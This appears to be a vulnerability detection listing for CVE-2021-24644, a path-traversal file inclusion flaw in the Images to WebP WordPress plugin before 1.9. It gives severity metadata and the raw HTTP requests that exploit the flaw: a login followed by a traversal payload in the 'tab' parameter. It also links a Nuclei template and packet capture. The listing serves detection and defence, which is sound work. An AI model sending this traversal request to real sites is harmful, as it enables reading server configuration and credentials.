| Title | Images to WebP < 1.9 - Authenticated Local File Inclusion |
|---|---|
| Author | Sourabh-Sahu |
| Severity | High |
| Impact | Authenticated attackers can read arbitrary local files from the server via path traversal, potentially exposing sensitive configuration files, credentials, and system information. |
| Remediation | Fixed in 1.9 |
| CVSS Score | 7.5 |
| EPSS Score | 0.20545 |
| CVE ID | CVE-2021-24644 |
| CWE ID | CWE-22 |
| Tags | wpscan cve cve2021 wordpress wp-plugin images-to-webp lfi authenticated intrusive vkev vuln |
The Images to WebP WordPress plugin before version 1.9 did not validate or sanitize the tab parameter before using it in the include() function.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.17
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=S5tVIx&pwd=y2MkPM&wp-submit=Log+In
GET /wp-admin/upload.php?page=images-to-webp.php&tab=..%2F..%2F..%2F..%2Fwp-links-opml HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24644.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24644.pcap
N/AN/A